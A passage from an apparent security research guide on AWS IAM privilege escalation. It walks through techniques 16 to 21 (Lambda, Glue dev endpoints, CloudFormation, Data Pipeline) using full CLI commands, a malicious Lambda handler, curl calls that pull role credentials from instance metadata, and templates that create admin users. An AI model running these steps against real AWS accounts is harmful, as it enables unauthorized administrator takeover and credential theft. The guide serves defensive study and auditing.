→ aws lambda create-function --function-name privesc16 --runtime python3.6 --role
arn:aws:iam::[REDACTED]:role/privesc16lambda --handler code.lambda_handler --zip-
file fileb://function.zip --region us-west-2 --profile privesc
```

```
{
    “TracingConfig”: {
        “Mode”: “PassThrough”
    },
    “CodeSha256”: “ZP3U8CIrgroYQtPVj6OC5vKOq2+4ltt/LtyWZTgnlUo=”,
    “FunctionName”: “privesc16”,
    “CodeSize”: 322,
    “RevisionId”: “458c5bf7-1920-47a3-a5ad-2ec5a84e64b5”,
    “MemorySize”: 128,
    “FunctionArn”: “arn:aws:lambda:us-west-2:[REDACTED]:function:privesc16”,
    “Version”: “$LATEST”,
    “Role”: “arn:aws:iam::[REDACTED]:role/privesc16lambda”,
    “Timeout”: 3,
    “LastModified”: “2019-09-06T17:27:17.721+0000”,
    “Handler”: “code.lambda_handler”,
    “Runtime”: “python3.6”,
    “Description”: “”
}
```

The function to escalate privileges now exists, but the attacker does not have permissions to invoke it directly. Instead, the attacker links it to an existing DynamoDB table:

```
→ aws lambda create-event-source-mapping --function-name privesc16 --event-
source-arn arn:aws:dynamodb:us-west-2:[REDACTED]:table/privesc16/stream/2019-09-
06T17:22:31.019 --enabled --starting-position LATEST --region us-west-2 --profile
privesc
```

```
{
    “UUID”: “ca8ecd70-d87d-48a9-88e1-e0e673d23931”,
    “StateTransitionReason”: “User action”,
    “LastModified”: 1567790875.465,
    “BatchSize”: 100,
    “EventSourceArn”: “arn:aws:dynamodb:us-west-2:[REDACTED]:table/privesc16/
stream/2019-09-06T17:22:31.019”,
    “FunctionArn”: “arn:aws:lambda:us-west-2:[REDACTED]:function:privesc16”,
    “State”: “Creating”,
    “LastProcessingResult”: “No records processed”
}
```

Since the attacker does not have any DynamoDB permissions, it is not possible to upload a new row and trigger the exploit. Instead, the attacker needs to wait for another user or a service to update the table instead. The command below shows another AWS user uploading a row to the table. Note the lack of `profile privesc`, indicating that this command uses different AWS API keys:

```
→ aws dynamodb put-item --table-name privesc16 --item '{"test":{"S":"whatever"}}'
--region us-west-2
```

The action on the DynamoDB table caused the linked Lambda function to execute, thereby escalating the attacker's permissions:

This method of privilege escalation is easier if the attacker also has the `dynamodb:CreateTable` and `dynamodb:PutItem` permissions, because then the attacker can create a suitable DynamoDB table and upload an item to it to trigger the exploit. However, the example above was used to demonstrate privilege escalation using the minimum required permissions.

17 - LAMBDA:UPDATEFUNCTIONCODE

Description

Users with the `lambda:UpdateFunctionCode` permission can modify the code of an existing Lambda function so that it escalates their privileges when invoked.

Requirements

- The AWS account needs to contain an existing Lambda function, with a role attached to it that has the `iam:AttachUserPolicy` permission.

Example

In this example, the attacker is part of a single group. The group has only one permission, which is to update the code for any existing Lambda functions:

```
{
  “Version”: “2012-10-17”,
  “Statement”: [
    {
      “Sid”: “VisualEditor0”,
      “Effect”: “Allow”,
      “Action”: “lambda:UpdateFunctionCode”,
      “Resource”: “arn:aws:lambda:*:*:function:*”
    }
  ]
}
```

In addition, the AWS environment contains an existing Lambda function which has a role attached with the `iam:AttachUserPolicy` permission:

```
→ aws lambda get-function --function-name JustSomeFunction --region us-west-2
```


```
{
    “Code”: {
        “RepositoryType”: “S3”,
        “Location”: “[REDACTED]”
    },
    “Configuration”: {
        “TracingConfig”: {
            “Mode”: “PassThrough”
        },
        “Version”: “$LATEST”,
        “CodeSha256”: “nBROqRRnPydRdJHmzI1n2LymcOL1BuQMcpBIi5GivB8=”,
        “FunctionName”: “JustSomeFunction”,
        “MemorySize”: 128,
        “RevisionId”: “0b12c53f-9684-4df4-9223-d39b8226eeef”,
        “CodeSize”: 344,
        “FunctionArn”: “arn:aws:lambda:us-west-2:[REDACTED]:function:JustSomeFun
ction”,
        “Handler”: “lambda_function.lambda_handler”,
        “Role”: “arn:aws:iam::[REDACTED]:role/privesc17lambda”,
        “Timeout”: 3,
        “LastModified”: “2019-09-09T17:09:13.858+0000”,
        “Runtime”: “python3.6”,
        “Description”: “”
    }
}
```


When updating Lambda function code, the name of the code file needs to match the handler name of the existing Lambda function. The name of the handler for the target function is `lambda_function` as shown in the output above. Therefore, the name of our code file needs to be `lambda_function.py`:

```
→ cat lambda_function.py
```

```
import boto3
def lambda_handler(event, context):
    client = boto3.client(‘iam’)
    response = client.attach_user_policy(UserName=’privesc_
test’,PolicyArn=’arn:aws:iam::aws:policy/AdministratorAccess’)
    return response
```

```
→ zip function.zip lambda_function.py
adding: lambda_function.py (deflated 27%)
```

The attacker can now update the code for the Lambda function with the following command:

```
→ aws lambda update-function-code --function-name JustSomeFunction --zip-file
fileb://function.zip --region us-west-2 --profile privesc
```

```
{
    “TracingConfig”: {
        “Mode”: “PassThrough”
    },
    “CodeSha256”: “ZP3U8CIrgroYQtPVj6OC5vKOq2+4ltt/LtyWZTgnlUo=”,
    “FunctionName”: “JustSomeFunction”,
    “CodeSize”: 322,
    “RevisionId”: “6e4dcd43-ae62-409e-a590-fc608328b10c”,
    “MemorySize”: 128,
    “FunctionArn”: “arn:aws:lambda:us-west-2:[REDACTED]:function:JustSomeFuncti
on”,
    “Version”: “$LATEST”,
    “Role”: “arn:aws:iam::[REDACTED]:role/privesc17lambda”,
    “Timeout”: 3,
    “LastModified”: “2019-09-09T17:02:49.324+0000”,
    “Handler”: “lambda_function.lambda_handler”,
    “Runtime”: “python3.6”,
    “Description”: “”
}
```

When the function gets executed, the attacker's privileges will be elevated. If the attacker has the lambda:InvokeFunction permission then it's possible to just invoke the function directly. Otherwise, it will occur when another user or service executes the function. In the example below, another user executes the function. Note the lack of the --profile privesc flag in the command, indicating that a different set of API keys were used to issue this command:

```
→ aws lambda invoke --function-name JustSomeFunction output.txt --region us-
west-2
```

```
{
    “ExecutedVersion”: “$LATEST”,
    “StatusCode”: 200
}
```

The attacker now has full administrator permissions in the AWS environment.

18 - IAM:PASSROLE, GLUE:CREATEDEVENDPOINT, AND GLUE:GETDEVENDPOINT(S)

Description

Users with the `iam:PassRole`, `glue:CreateDevEndpoint`, and `glue:GetDevEndpoint`/`glue:GetDevEndpoints` permissions can create a new Glue development endpoint, pass an existing role to it to escalate privileges, and then SSH into the endpoint to obtain the role's credentials.

Requirements

- The AWS account needs to contain a role that the AWS Glue service is allowed to assume. Ideally this role would have permissions in excess of what the attacker currently has.
- **Note**: `glue:GetDevEndpoint` and `glue:GetDevEndpoints` do the same thing, except that `glue:GetDevEndpoints` returns all endpoints. Either permission works for this privilege escalation technique.

Example

In this example, the attacker is part of a single group. The group permissions only include `iam:PassRole`, `glue:CreateDevEndpoint`, and `glue:GetDevEndpoint`:

```
{
  “Version”: “2012-10-17”,
  “Statement”: [
    {
      “Sid”: “VisualEditor0”,
      “Effect”: “Allow”,
      “Action”: “iam:PassRole”,
      “Resource”: “arn:aws:iam::*:role/*”
    },
    {
      “Sid”: “VisualEditor1”,
      “Effect”: “Allow”,
      “Action”: [
      “glue:CreateDevEndpoint”,
      “glue:GetDevEndpoint”
      ],
      “Resource”: “*”
    }
  ]
}
```

The AWS account contains a role that the Glue service is allowed to assume. In this example, that role provides administrator access. The attacker can create a Glue development endpoint with the following command:

```
→ aws glue create-dev-endpoint --endpoint-name privesctest --role-arn
arn:aws:iam::[REDACTED]:role/adminaccess --public-key file:///home/user/.ssh/
id_rsa.pub --region us-west-2 --profile privesc
```

```
{
    “Status”: “PROVISIONING”,
    “AvailabilityZone”: “us-west-2b”,
    “RoleArn”: “arn:aws:iam::[REDACTED]:role/adminaccess”,
    “ZeppelinRemoteSparkInterpreterPort”: 0,
    “CreatedTimestamp”: 1568051506.291,
    “EndpointName”: “privesctest”,
    “SecurityGroupIds”: [],
    “NumberOfNodes”: 5
}
```

In order to SSH into the endpoint, the attacker needs to first request the endpoints public IP address. This is the reason why the `glue:GetDevEndpoint` permission is required. Without this permission, there is no way for the attacker to know the public IP to SSH to. The following command is used to obtain the endpoint's public IP address:

```
→ aws glue get-dev-endpoint --endpoint-name privesctest --region us-west-2
--profile privesc
```

```
{
    “DevEndpoint”: {
        “Status”: “READY”,
        “AvailabilityZone”: “us-west-2b”,
        “PublicAddress”: “ec2-34-219-22-24.us-west-2.compute.amazonaws.com”,
        “RoleArn”: “arn:aws:iam::[REDACTED]:role/adminaccess”,
        “ZeppelinRemoteSparkInterpreterPort”: 9007,
        “CreatedTimestamp”: 1568051506.291,
        “PublicKey”: “ssh-rsa
AAAAB3NzC1yc2EAAAADAQABAAABAQCsZC2WfDMbFonVuwBnYqRKl1MTU+hHWrOb9lnb
PfNJlBBYl2L68qx2bRmo68qib4yxopajiHxhZ5prnrIoOONE0pCyDQqgaEyOSuhZLl
XdLyKDptdc0ogRNTVyl6im9z1Wum7Bee2jFuWA8AOOvfpBRJzDLity5n0fVVHEIBQE3
9Ac2FLQccBElEG3Df2DICypX6EHl1q/dL1fKHOYdMVTpiiM2C8/eK+pKLAwByuHmFPI
zmC7KTMRuH7HWrhgYNAOXctOlsT/k7kUgReILKaUw6J+GMwG58kOtc/oquvGNwrRy3v
b7jwAfblBVFI6ZDNpEqihye++oT7EUJbRYb”,
       “EndpointName”: “privesctest”,
        “SecurityGroupIds”: [],
        “LastModifiedTimestamp”: 1568053728.65,
        “NumberOfNodes”: 5
    }
}
```

With the public IP, the attacker can now SSH into the Glue development endpoint and request the AWS credentials associated with the endpoint's role:

```
→ ssh glue@ec2-34-219-22-24.us-west-2.compute.amazonaws.com -i ~/.ssh/id_rsa
```

```
ECDSA key fingerprint is SHA256:sWZHQNfzXXK02l2ShsM55i4fwyFv1YeCmaLUK0VmJLA.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'ec2-34-219-22-24.us-west-2.compute.amazonaws.
com,34.219.22.24' (ECDSA) to the list of known hosts.

__| __|_ )
_| ( / Amazon Linux AMI
___|\___|___|

[glue@ip-172-32-41-101 ~]$ curl http://169.254.169.254/latest/meta-data/iam/
security-credentials/dummy
{
    "AccessKeyId":"[REDACTED]",
    "SecretAccessKey":"[REDACTED]",
    "Token":"[REDACTED]",
    "Expiration":"2019-09-09T19:53:26.922Z"
}
```

The attacker now has full administrator permissions to the AWS environment.

19 - GLUE:UPDATEDEVENDPOINT AND GLUE:GETDEVENDPOINT(S)

Description

Users with the `glue:UpdateDevEndpoint` permission can change the SSH key associated with an existing Glue endpoint to obtain SSH access to the endpoint and then obtain the credentials for the associated role.

Requirements

- The AWS account needs to contain an existing Glue endpoint with a role attached to it that has permissions in excess of what the attacker currently has.
- **Note:** `glue:GetDevEndpoint` and `glue:GetDevEndpoints` do the same thing, except that `glue:GetDevEndpoints` returns all endpoints. Either permission works for this privilege escalation technique.

Example

In this example, the attacker is part of a single group. The group only provides the `glue:UpdateDevEndpoint` and `glue:GetDevEndpoints` permissions:

```
{
  “Version”: “2012-10-17”,
  “Statement”: [
    {
      “Sid”: “VisualEditor0”,
      “Effect”: “Allow”,
      “Action”: [
        “glue:GetDevEndpoints”,
        “glue:UpdateDevEndpoint”
      ],
      “Resource”: “*”
    }
  ]
}
```

The AWS account has an existing Glue development endpoint. The role attached to the endpoint in this example is the administrator role.
First, the attacker needs to obtain the public IP address of the endpoint. In addition, the attacker needs to determine the SSH public key associated with the endpoint:

```
→ aws glue get-dev-endpoints --region us-west-2 --profile privesc
```


```
{
    “DevEndpoints”: [
    {
        “Status”: “READY”,
        “LastUpdateStatus”: “PENDING”,
        “AvailabilityZone”: “us-west-2c”,
        “PublicAddress”: “ec2-18-237-208-23.us-west-2.compute.amazonaws.com”,
        “RoleArn”: “arn:aws:iam::[REDACTED]:role/adminaccess”,
        “ZeppelinRemoteSparkInterpreterPort”: 9007,
        “CreatedTimestamp”: 1568063674.514,
        “PublicKeys”: [
        “ssh-rsa
AAAAB3NzC1yc2EAAAADAQABAAABAQCsZC2WfDMbFonVuwBnYqRKl1MTU+hHWrOb9lnb
PfNJlBBYl2L68qx2bRmo68qib4yxopajiHxhZ5prnrIoOONE0pCyDQqgaEyOSuhZLl
XdLyKDptdc0ogRNTVyl6im9z1Wum7Bee2jFuWA8AOOvfpBRJzDLity5n0fVVHEIBQE3
9Ac2FLQccBElEG3Df2DICypX6EHl1q/dL1fKHOYdMVTpiiM2C8/eK+pKLAwByuHmFPI
zmC7KTMRuH7HWrhgYNAOXctOlsT/k7kUgReILKaUw6J+GMwG58kOtc/oquvGNwrRy3v
b7jwAfblBVFI6ZDNpEqihye++oT7EUJbRYb”,
       ],
        “EndpointName”: “privesc”,
        “SecurityGroupIds”: [],
        “LastModifiedTimestamp”: 1568065000.21,
        “NumberOfNodes”: 5
    }]
}
```


The attacker is initially not able to SSH into the Glue development endpoint:

```
→ ssh glue@ec2-18-237-208-23.us-west-2.compute.amazonaws.com -i ~/.ssh/
attackerkey
glue@ec2-18-237-208-23.us-west-2.compute.amazonaws.com: Permission denied
(publickey).
```

Since the attacker has the `glue:UpdateDevEndpoint` permission, they can just update the SSH key associated with the instance. However, in order to do this they first need to delete the existing SSH public key from the instance. Failure to do so results in an error message when trying to upload a new key (“Cannot modify ‘PublicKey’ when multiple public keys are associated”) even when only a single key is associated with the endpoint:

```
→ aws glue update-dev-endpoint --endpoint-name privesc --delete
public-keys “ssh-rsa
AAAAB3NzC1yc2EAAAADAQABAAABAQCsZC2WfDMbFonVuwBnYqRKl1MTU+hHWrOb9lnb
PfNJlBBYl2L68qx2bRmo68qib4yxopajiHxhZ5prnrIoOONE0pCyDQqgaEyOSuhZLl
XdLyKDptdc0ogRNTVyl6im9z1Wum7Bee2jFuWA8AOOvfpBRJzDLity5n0fVVHEIBQE3
9Ac2FLQccBElEG3Df2DICypX6EHl1q/dL1fKHOYdMVTpiiM2C8/eK+pKLAwByuHmFPI
zmC7KTMRuH7HWrhgYNAOXctOlsT/k7kUgReILKaUw6J+GMwG58kOtc/oquvGNwrRy3v
b7jwAfblBVFI6ZDNpEqihye++oT7EUJbRYb” --region us-west-2 --profile
privesc
```

After deleting the existing SSH key, the attacker can upload their own:

```
→ ~ aws glue update-dev-endpoint --endpoint-name privesc --public-key file:///
home/user/.ssh/attackerkey.pub --region us-west-2 --profile privesc
```

The attacker can now SSH into the endpoint:

```
→ ssh glue@ec2-18-237-208-23.us-west-2.compute.amazonaws.com -i ~/.ssh/
attackerkey
```

```
ECDSA key fingerprint is SHA256:dee/4hjhEuTZg07knG6cAgHTlrYNp0OqhsmUcYLE/G8.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'ec2-18-237-208-23.us-west-2.compute.amazonaws.
com,18.237.208.23' (ECDSA) to the list of known hosts.

__| __|_ )
_| ( / Amazon Linux AMI
___|\___|___|

[glue@ip-172-32-68-141 ~]$ curl http://169.254.169.254/latest/meta-data/iam/
security-credentials/dummy
{

    "AccessKeyId":"[REDACTED]",
    "SecretAccessKey":"[REDACTED]",
    "Token":"[REDACTED]",
    "Expiration":"2019-09-09T22:36:23.898Z"
}
```

The attacker now has full administrator permissions to the AWS environment.

20 - IAM:PASSROLE, CLOUDFORMATION:CREATESTACK, AND CLOUDFORMATION:DESCRIBESTACKS

Description

Users with the `iam:PassRole`, `cloudformation:CreateStack`, and `cloudformation:DescribeStacks` permissions can create a new CloudFormation stack which in turn creates AWS resources on the user's behalf. This can be used to create resources with permissions in excess of what the user currently has.

Requirements

- The AWS account needs to contain a role that can be assumed by CloudFormation, and which has adequate permissions to escalate privileges. There is no defined list of what these permissions are because many escalation paths are possible through CloudFormation.
- **Note:** There is not a specific privilege escalation path when using CloudFormation. Since the attacker can instruct CloudFormation to spin up AWS resources, there are various ways to go about this. For instance, creating a new user with admin permissions as used in the example below. Another options is to spin up an EC2 instance, pass the admin role to it, and then SSH into the instance, as described in one of the other privilege escalation techniques. Therefore, specific investigation is required of the roles that a user may pass to CloudFormation to see what privilege escalation paths might be possible.

Example

In this example, the attacker is part of a single group. The group provides only the `iam:PassRole`, `cloudformation:CreateStack`, and `cloudformation:DescribeStacks` permissions:

```
{
  “Version”: “2012-10-17”,
  “Statement”: [
    {
      “Sid”: “VisualEditor0”,
      “Effect”: “Allow”,
      “Action”: [
        “iam:PassRole”,
        “cloudformation:CreateStack”,
        “cloudformation:DescribeStacks”
      ],
      “Resource”: [
        “arn:aws:cloudformation:*:*:stack/*/*”,
        “arn:aws:iam::*:role/*”
      ]
    }
  ]
}
```

While the `cloudformation:DescribeStacks` permission is not necessary to spin up the AWS resources through CloudFormation, it is necessary to read the outputs from the CloudFormation stack.

The AWS environment contains a role named `adminaccess` that can be assumed by CloudFormation and which has the permissions necessary to create the desired AWS resources.

In order to use CloudFormation to escalate privileges, the attacker needs to provide a template that instructs CloudFormation on the resources that it should create in the AWS environment. The easiest way to provide that template is through an S3 URL:

```
→ curl
https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json
```

```
{
    “Resources”: {
        “AdminUser”: {
            “Type”: “AWS::IAM::User”
        },
        “AdminPolicy”: {
            “Type”: “AWS::IAM::ManagedPolicy”,
                “Properties”: {
                “Description” : “This policy allows all actions on all
resources.”,
                “PolicyDocument”: {
                    “Version”: “2012-10-17”,
                    “Statement”: [
                    {
                        “Effect”: “Allow”,
                        “Action”: [
                        “*”
                        ],
                        “Resource”: “*”
                    }]
                },
                “Users”: [{
                    “Ref”: “AdminUser”
                }]
            }
        },
        “MyUserKeys”: {
            “Type”: “AWS::IAM::AccessKey”,
            “Properties”: {
                “UserName”: {
                    “Ref”: “AdminUser”
                }
            }
        }
    },
```

```
    “Outputs”: {
        “AccessKey”: {
            “Value”: {
                “Ref”: “MyUserKeys”
            },
            “Description”: “Access Key ID of Admin User”
        },
        “SecretKey”: {
            “Value”: {
                “Fn::GetAtt”: [
                “MyUserKeys”,
                “SecretAccessKey”
                ]
            },
            “Description”: “Secret Key of Admin User”
        }
    }
}
```

The attacker issues the following command to create the stack and the associated AWS resources:

```
→ aws cloudformation create-stack --stack-name privesc --template-url
https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json --role
arn:aws:iam::[REDACTED]:role/adminaccess --capabilities CAPABILITY_IAM --region
us-west-2 --profile privesc
```

```
{
    “StackId”: “arn:aws:cloudformation:us-west-2:[REDACTED]:stack/privesc/
b4026300-d3fe-11e9-b3b5-06fe8be0ff5e”
}
```

Afterwards, the attacker can read the outputs provided by CloudFormation to obtain the API keys associated with the new user:

```
→ aws cloudformation describe-stacks --stack-name arn:aws:cloudformation:us-west-
2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e --region us-
west-2 --profile privesc
```


```
{
    “Stacks”: [
    {
        “StackId”: “arn:aws:cloudformation:us-west-2:[REDACTED]:stack/privesc/
b4026300-d3fe-11e9-b3b5-06fe8be0ff5e”,
        “DriftInformation”: {
            “StackDriftStatus”: “NOT_CHECKED”
        },
        “DeletionTime”: “2019-09-10T19:21:14.658Z”,
        “Tags”: [],
        “Outputs”: [
        {
            “Description”: “Secret Key of Admin User”,
            “OutputKey”: “SecretKey”,
            “OutputValue”: “[REDACTED]”
        },
        {
            “Description”: “Access Key ID of Admin User”,
            “OutputKey”: “AccessKey”,
            “OutputValue”: “[REDACTED]”
        }
        ],
        “RoleARN”: “arn:aws:iam::[REDACTED]:role/adminaccess”,
        “CreationTime”: “2019-09-10T19:16:25.246Z”,
        “Capabilities”: [
        “CAPABILITY_IAM”
        ],
        “StackName”: “privesc”,
        “NotificationARNs”: [],
        “StackStatus”: “DELETE_COMPLETE”,
        “DisableRollback”: false,
        “RollbackConfiguration”: {}
    }]
}
```


After adding the API credentials to a new AWS profile (named adminprofile in the example below), the attacker can now issue AWS commands as an administrative user:

```
→ aws sts get-caller-identity --profile adminuser
```


```
{
    “Account”: “[REDACTED]”,
    “UserId”: “AIDAS4WERQEFHKXGHQG4W”,
    “Arn”: “arn:aws:iam::[REDACTED]:user/privesc-AdminUser-BSFB62XQGIY8”
}
```

21 - IAM:PASSROLE, DATAPIPELINE:CREATEPIPELINE, DATAPIPELINE:PUTPIPELINEDEFINITION, AND DATAPIPELINE:ACTIVATEPIPELINE

Description

Users with the `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, and `datapipeline:ActivatePipeline` permissions can create a new Data Pipeline, pass an existing role to it that has more permissions than what the user currently has, and then use the Data Pipeline to escalate privileges.

Requirements

- The AWS account needs to contain a role that can be assumed by Data Pipeline, and which has adequate permissions to escalate privileges. There is no defined list of what these permissions are because many escalation paths are possible through Data Pipeline.
- The AWS account needs to contain a second role that can be assumed by the service that the attacker wishes to use for privilege escalation.
    - » In the example below, that service is EC2. The role in this case is the same role assumed by Data Pipeline (`adminaccess`), but in practice they could be two separate roles.
- **Note:** There is not a specific privilege escalation path when using Data Pipeline. Since the attacker can instruct Data Pipeline to spin up AWS resources, there are various ways to go about this. For instance, adding a user to the Admin group as used in the example below. Another options is to spin up an EC2 instance, pass the admin role to it, and then SSH into the instance, as described in one of the other privilege escalation techniques. Therefore, specific investigation is required of the roles that a user may pass to Data Pipeline to see what privilege escalation paths might be possible.

Example

In this example, the attacker is part of a single group. The group only provides the `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition` , and `datapipeline:ActivatePipeline` permissions:

```
{
  “Version”: “2012-10-17”,
  “Statement”: [
    {
      “Sid”: “VisualEditor0”,
      “Effect”: “Allow”,
      “Action”: “iam:PassRole”,
      “Resource”: “arn:aws:iam::*:role/*”
    },
    {
      “Sid”: “VisualEditor1”,
      “Effect”: “Allow”,
      “Action”: [
        “datapipeline:CreatePipeline”,
        “datapipeline:PutPipelineDefinition”,
        “datapipeline:ActivatePipeline”
      ],
      “Resource”: “*”
    }
  ]
}
```

The AWS environment contains a role named `adminaccess` that can be assumed by the Data Pipeline service and which has the permissions necessary to create the desired AWS resources.

In order to create a new Data Pipeline from the AWS command line interface, the attacker needs to specify a definition file that instructs the pipeline on what to do. In this example, the attacker is going to spin up an EC2 instance, pass a role to it with privileges that the attacker's account does not have, and then use the instance to add the attacker's account to the `Admin` group:

```
→ cat privesc.json
```

```
{
    “objects”: [
    {
        “id” : “CreateDirectory”,
        “type” : “ShellCommandActivity”,
        “command” : “aws iam add-user-to-group --group-name Admin --user-name
privesc_test”,
        “runsOn” : {“ref”: “instance”}
    },
    {
        “id”: “Default”,
        “scheduleType”: “ondemand”,
        “failureAndRerunMode”: “CASCADE”,
        “name”: “Default”,
        “role”: “adminAccess”,
        “resourceRole”: “adminAccess”
    },
    {
        “id” : “instance”,
        “name” : “instance”,
        “type” : “Ec2Resource”,
        “actionOnTaskFailure” : “terminate”,
        “actionOnResourceFailure” : “retryAll”,
        “maximumRetries” : “1”,
        “instanceType” : “t2.micro”,
        “securityGroups” : [“default”],
        “keyPair” : “test”,
        “role” : “adminaccess”,
        “resourceRole” : “adminaccess”
    }]
}
```

To create the Data Pipeline, the attacker executes the following command:

```
→ aws datapipeline create-pipeline --name privesc --unique-id privesctest
--region us-west-2 --profile privesc
```

```
{
“pipelineId”: “df-04388033NWCCTN7LJPNU”
}
```

After the pipeline is created, the attacker edits the pipeline definition. While AWS spits out some warnings, the output indicates that the command did not error out and was therefore successful:

```
→ aws datapipeline put-pipeline-definition --pipeline-id df-04388033NWCCTN7LJPNU
--pipeline-definition file://privesc.json --region us-west-2 --profile privesc
```

```
{
    “validationErrors”: [],
    “errored”: false,
    “validationWarnings”: [
    {
        “id”: “instance”,
        “warnings”: [
        “No policy attached to the role - unable to validate policy for
‘adminaccess’”,
        “No policy attached to the role - unable to validate policy for
‘adminaccess’”,
        “’terminateAfter’ is missing. It is recommended to set this to avoid
leaving resource running for long duration.”
        ]
    },
    {
    “id”: “Default”,
    “warnings”: [
    “’pipelineLogUri’is missing. It is recommended to set this value on Default
object for better troubleshooting.”
    ]
    }]
}
```

Finally, to run the pipeline, the attacker needs to activate it. If successful, this command provides no output:

```
→ ~ aws datapipeline activate-pipeline --pipeline-id df-04388033NWCCTN7LJPNU
--region us-west-2 --profile privesc
```

It takes a couple of minutes for the EC2 instance to spin up but once it does, the command defined in the Data Pipeline definition will execute and add the attacker’s account to the Admin group. The attacker now has full administrative access to the AWS environment.